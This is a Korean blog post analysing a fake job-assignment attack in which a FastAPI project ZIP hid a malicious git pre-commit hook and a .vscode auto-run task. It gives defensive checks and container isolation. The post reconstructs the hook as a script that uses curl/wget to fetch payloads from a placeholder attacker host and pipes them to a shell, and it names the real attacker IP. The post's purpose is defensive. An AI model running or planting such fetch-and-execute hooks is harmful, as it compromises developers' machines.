얼마 전 GeekNews에 올라온 글 하나가 개발자 커뮤니티에서 꽤 돌았다. LinkedIn으로 월 $10,000~15,000짜리 원격 Python 개발자 자리를 제안받은 지원자가, 과제로 받은 FastAPI 프로젝트 ZIP을 열어봤더니 .git/hooks 안에 OS별 페이로드를 몰래 내려받아 실행하는 훅이 심어져 있었다는 이야기다.
이 글이 무서운 건 "이상한 실행 파일을 클릭하지 마세요" 수준의 뻔한 경고가 아니라, 우리가 매일 아무 의심 없이 하는 git commit 한 번이 트리거가 됐다는 점이다. 나도 처음 이 글을 봤을 때 "잠깐, 클론만 해도 훅이 도나?"라는 착각을 했다. 결론부터 말하면 아니다. 그런데 이 공격은 그 빈틈을 정확히 파고들었다. 인프라/백엔드 하는 사람이라면 남의 저장소를 하루에도 몇 번씩 클론하고 실행하니까, 이건 남 일이 아니다.
1. 도입: 왜 지금 이 이야기가 화제인가
최근 개발자를 직접 노린 공급망 공격이 부쩍 늘었다. 원문 댓글에도 "북한발 채용 미끼 공격 이메일을 주 1회씩 받는다"는 이야기가 나온다. 예전엔 npm 패키지에 타이포스쿼팅(reqeusts 같은 오타 패키지)을 심는 방식이 흔했는데, 이건 requirements.txt도 깨끗하고 코드도 정상 FastAPI 백엔드였다. 실제로 원본은 personal-finance-service라는 공개 저장소를 그대로 복제한 것이고, 공격자는 거기에 악성 숨김 디렉터리만 얹었다.
즉 "패키지를 검토하세요"라는 기존 방어법이 통하지 않는 구조다. 정상 코드 + 깨끗한 의존성 목록만 보면 100% 통과한다. 핵심은 버전 관리 도구 자체의 자동 실행 지점을 무기화했다는 것이다.
2. 핵심: Git 훅은 원래 뭘 하는 물건인가
Git 훅은 특정 Git 이벤트가 일어날 때 자동으로 실행되는 스크립트다. .git/hooks 디렉터리에 실행 권한이 붙은 스크립트를 두면, Git이 해당 시점에 알아서 돌려준다. 실무에서는 이렇게 쓴다.
pre-commit: 커밋 직전에 실행. 린트, 포맷터, 시크릿 스캔(예: gitleaks) 돌릴 때 많이 씀.pre-push: 원격에 푸시하기 전 테스트 돌리기.post-checkout,post-merge: 브랜치 전환 후 의존성 재설치 자동화.
직접 확인해보자. 아무 저장소나 하나 만들고 훅 디렉터리를 열어보면 샘플이 깔려 있다.
$ git init demo && cd demo
Initialized empty Git repository in /home/dev/demo/.git/
$ ls -la .git/hooks/
total 60
drwxr-xr-x 2 dev dev 4096 Feb 10 10:22 .
drwxr-xr-x 7 dev dev 4096 Feb 10 10:22 ..
-rwxr-xr-x 1 dev dev 478 Feb 10 10:22 pre-commit.sample
-rwxr-xr-x 1 dev dev 896 Feb 10 10:22 pre-push.sample
-rwxr-xr-x 1 dev dev 1374 Feb 10 10:22 pre-rebase.sample
...
여기서 중요한 사실 하나. 기본으로 깔리는 건 전부 .sample 확장자가 붙어 있다. Git은 .sample이 붙은 훅은 무시한다. 확장자를 떼야 활성화된다. 그래서 공격자가 한 일은 간단하다. .sample 없는 순수 pre-commit 스크립트를 미리 심어두고, 그 안에 페이로드 다운로드 코드를 넣은 것이다.
그리고 여기가 핵심 함정이다. .git 디렉터리는 git clone으로 저장소를 복제할 때 훅이 그대로 따라오지 않는다. 훅은 로컬 전용이라 원격으로 전송/복제되지 않기 때문이다. 하지만 이번 사건은 클론이 아니라 ZIP 다운로드였다. ZIP 안에 .git 디렉터리 통째로(훅 포함) 들어 있었던 것이다. 압축을 풀면 미리 심어둔 pre-commit이 그대로 딸려온다. 그다음 과제 PDF가 "브랜치를 만들고 커밋해서 PR을 올리세요"라고 유도하면, 지원자가 git commit을 치는 순간 훅이 발동한다.
비유하자면 이렇다. 남의 집(정상 코드) 열쇠를 받았는데, 그 집 현관 매트 밑에 "문 열면 자동으로 실행되는 부비트랩"이 깔려 있는 거다. 집 구조(코드)만 훑어보면 절대 안 보인다. 매트를 들춰봐야(.git/hooks를 열어봐야) 보인다.
3. OS별 페이로드 실행 흐름
원문에 따르면 심어진 pre-commit은 uname -s로 운영체제를 판별한 뒤 플랫폼별 페이로드를 같은 서버에서 내려받아 실행했다. 재현하면 대략 이런 형태다(실제 악성 URL은 45.61.164.38:5777 같은 원시 IP였고, 아래는 구조 설명용 재구성이다).
#!/bin/sh
# .git/hooks/pre-commit (공격 구조 재구성 — 실행하지 말 것)
OS=$(uname -s)
case "$OS" in
Darwin) curl -s http://ATTACKER_IP:5777/task/mac?id=402 | sh ;;
Linux) wget -qO- http://ATTACKER_IP:5777/task/linux?id=402 | sh ;;
*) curl -s http://ATTACKER_IP:5777/task/windows?id=402 | cmd ;;
esac >/dev/null 2>&1 &
여기서 실무자로서 눈여겨볼 디테일이 세 개 있다.
>/dev/null 2>&1: 표준출력과 에러를 전부 버린다. 커밋할 때 아무 로그도 안 뜨니 사용자는 눈치를 못 챈다.- 맨 끝의
&: 백그라운드 실행. 커밋은 정상적으로 끝나고, 페이로드는 뒤에서 조용히 돈다. id=402: 이 값을 바꾸면 다른 스크립트가 반환됐다고 한다. 지원자별 고유 식별자를 붙여 맞춤형 페이로드를 뿌린 걸로 보인다(원문도 실제 추적 방식은 확인 못 함이라고 밝힘).
Linux 페이로드는 다단계였다. 1단계 스크립트가 ~/Documents에 tokenlinux.npl을 내려받아 tokenlinux.sh로 이름을 바꾸고 실행 권한을 준 뒤, nohup bash로 백그라운드에서 돌린다. nohup을 쓴 이유는 터미널을 닫거나 로그아웃해도 프로세스가 죽지 않게 하기 위해서다. 2단계에서 Node.js를 설치하고 난독화된 parser.js를 nohup node로 상주시킨다. package.json에는 클립보드 접근용 clipboardy, Ethereum 개발환경 hardhat, jsonwebtoken 등이 들어 있었지만, 원문은 최종 악성 목적까지는 확인하지 못했다고 명시한다. 여기 대해 함부로 "암호화폐 지갑 탈취다"라고 단정하면 안 된다.
또 하나 중요한 변종이 있다. ZIP 안에 .vscode 폴더를 숨겨두고, 그 디렉터리를 VSCode로 여는 것만으로 명령이 실행되도록 구성한 케이스다. VSCode의 워크스페이스 설정이나 자동 태스크 기능을 악용한 것으로 보인다. 이건 git commit조차 안 쳐도 "폴더 열기"만으로 감염된다는 뜻이라 더 위험하다.
4. 실무 관점: 탐지, 흔한 함정, 방어
남의 저장소 받으면 코드보다 먼저 이걸 본다
가장 확실한 첫 방어는 tree -a로 숨김 항목 전부 훑기다. 원문 지원자도 이걸로 발견했다.
$ tree -a -L 3 suspicious-fastapi-task/
suspicious-fastapi-task/
├── .git
│ ├── hooks
│ │ ├── pre-commit <- .sample 없는 순수 훅! 의심 신호
│ │ ├── post-checkout
│ │ └── ...
│ └── config
├── .vscode <- 폴더 열기만으로 실행되는 변종 주의
│ └── tasks.json
├── app
│ └── main.py
└── requirements.txt
.sample이 빠진 훅 파일, 예상 못 한 .vscode/tasks.json, 실행 권한이 붙은 스크립트가 보이면 그 즉시 멈춰야 한다. tree가 없으면 find suspicious-fastapi-task/ -type f -path '*/hooks/*' ! -name '*.sample'로도 잡을 수 있다.
흔한 함정 1: tree가 안 깔려 있다
macOS나 최소 설치 리눅스에서 tree -a 치면 이런 걸 만난다.
$ tree -a
bash: tree: command not found
이럴 땐 brew install tree(macOS) / sudo apt install tree(Debian계)로 설치하거나, 앞서 말한 find / ls -laR로 대체하면 된다. 급하면 ls -la .git/hooks/만 봐도 .sample 유무는 바로 판별된다.
흔한 함정 2: "클론했으니 안전하다"는 착각
앞에서 말했듯 git clone은 훅을 복제하지 않는다. 그래서 "나는 ZIP 안 받고 clone만 하니까 괜찮다"고 방심하기 쉽다. 하지만 함정이 두 개 더 있다.
- ZIP/tarball로 받으면
.git이 통째로 딸려온다(이번 사건). core.hooksPath설정이나 서브모듈, 그리고 Git 2.34+에서 도입된fsmonitor/설정 관련 보안 이슈처럼 저장소 설정 파일이 명령 실행에 관여하는 경로가 존재한다(정확한 동작은 각 버전 공식 문서 확인 필요).
훅 자동 무력화 설정
신뢰하지 않는 저장소를 다룰 땐 아예 훅을 못 돌게 막는 게 마음 편하다. 임시로 훅을 무시하고 명령을 실행하려면 이렇게 한다.
# 이 명령 한정으로 훅 우회
$ git commit --no-verify -m "test"
# 저장소 전체에서 훅 경로를 존재하지 않는 곳으로 지정
$ git config core.hooksPath /dev/null
$ git commit -m "safe commit"
[main 3f9a1c2] safe commit
1 file changed, 1 insertion(+)
다만 --no-verify는 pre-commit/commit-msg 같은 커밋 계열 훅만 건너뛴다. 만능이 아니다. 그래서 근본적으로는 신뢰 안 되는 코드는 격리된 환경에서 연다가 정답이다.
가장 확실한 대안: 컨테이너/VM 격리
원문 HN 댓글에서도 "컨테이너로 격리한 VS Code가 필요해 보인다"는 의견이 나온다. 처음 보는 과제 프로젝트는 Docker 컨테이너나 일회용 VM 안에서 열자. 네트워크까지 끊으면 페이로드 다운로드 자체가 실패한다.
$ docker run --rm -it --network none \
-v "$PWD/suspicious-task:/work:ro" \
ubuntu:24.04 bash
root@a1b2c3:/# cd /tmp && cp -r /work ./inspect && cd inspect
root@a1b2c3:/tmp/inspect# git commit --allow-empty -m x
# --network none 이라 페이로드 curl/wget이 이렇게 실패한다:
curl: (6) Could not resolve host (또는 연결 타임아웃)
--network none과 읽기 전용 마운트(:ro)를 걸면, 설령 훅이 발동해도 호스트를 건드리지 못하고 외부 통신도 막힌다. 이게 실무에서 가장 현실적인 방어선이다.
5. 조직 차원의 대응
개인 습관만으로는 한계가 있다. 팀/조직 레벨에서 세팅할 것들.
- 사내 개발자 온보딩에 "훅 검사"를 명문화: 외부 저장소는 클론이 아니라 다운로드한 경우 특히
.git/hooks,.vscode를 먼저 검사하도록 체크리스트화. - CI/CD 러너 격리: 파이프라인은 임시 컨테이너에서 최소 권한으로 돌리고, 시크릿은 러너 환경변수로 노출하지 말고 OIDC 등 단명 토큰으로. 로컬에서 감염돼도 CI 자격증명이 새어나가지 않게.
- egress 필터링: 개발 네트워크에서 원시 IP:비표준 포트(예:
:5777)로 나가는 트래픽을 로깅/차단. 원문에서도 도메인 아닌 원시 IP 사용이 눈에 띄는 신호였다. - 채용 프로세스 검증: 원문 HN 댓글의 Rails 개발자처럼, "저장소 그대로 복제해서 실행" 요구는 거절하고 "요구사항 주면 처음부터 구현하겠다"로 받아치는 것도 현실적인 회피법이다. 정상 회사라면 수용한다.
6. 정리
한 줄 요약: 정상 코드로 위장한 프로젝트라도 .git/hooks나 .vscode에 자동 실행 트랩이 숨어 있을 수 있으니, 남의 저장소는 코드보다 숨김 디렉터리를 먼저 보고, 처음 보는 프로젝트는 네트워크 차단한 컨테이너에서 열어라.
누가 언제 써야 하나: 외부 저장소를 자주 다루는 백엔드/인프라 엔지니어, 채용 과제를 받는 구직자, npm/PyPI 등 인기 패키지 메인테이너(표적이 되기 쉽다)라면 오늘 당장 ls -la .git/hooks/ 습관부터 들이자. 특히 ZIP/tarball로 받은 프로젝트는 .git이 통째로 딸려온다는 사실을 기억하자.
이 사건에서 배울 가장 중요한 교훈은, 방어의 초점이 "패키지 검토"에서 "실행 환경 격리"로 옮겨가고 있다는 것이다. 코드가 아무리 깨끗해 보여도, 검토하지 않은 다운로드 코드를 로컬에서 실행하는 행위 자체가 이제는 위험하다.
참고 자료
'Tech_News' 카테고리의 다른 글
| Passkey는 왜 엔지니어인 우리조차 헷갈리는가: FIDO2/WebAuthn 실무 도입기 (0) | 2026.07.24 |
|---|---|
| AI 모델이 격리 환경을 뚫고 프로덕션에 침투했다: OpenAI-Hugging Face 사고에서 배우는 격리 아키텍처 설계 (0) | 2026.07.23 |
| Cloudflare Internal DNS GA 뜯어보기: Zero Trust와 내부 DNS를 하나로 묶는다는 것 (0) | 2026.07.22 |
| $120k 볼링장 시스템을 $1,600 ESP32로 갈아엎은 이야기: 레거시 현대화의 실전 교과서 (0) | 2026.07.21 |
| LG 모니터가 몰래 깔린다: Windows Update가 서드파티 소프트웨어 설치 경로가 된 진짜 이유와 실전 차단법 (0) | 2026.07.20 |
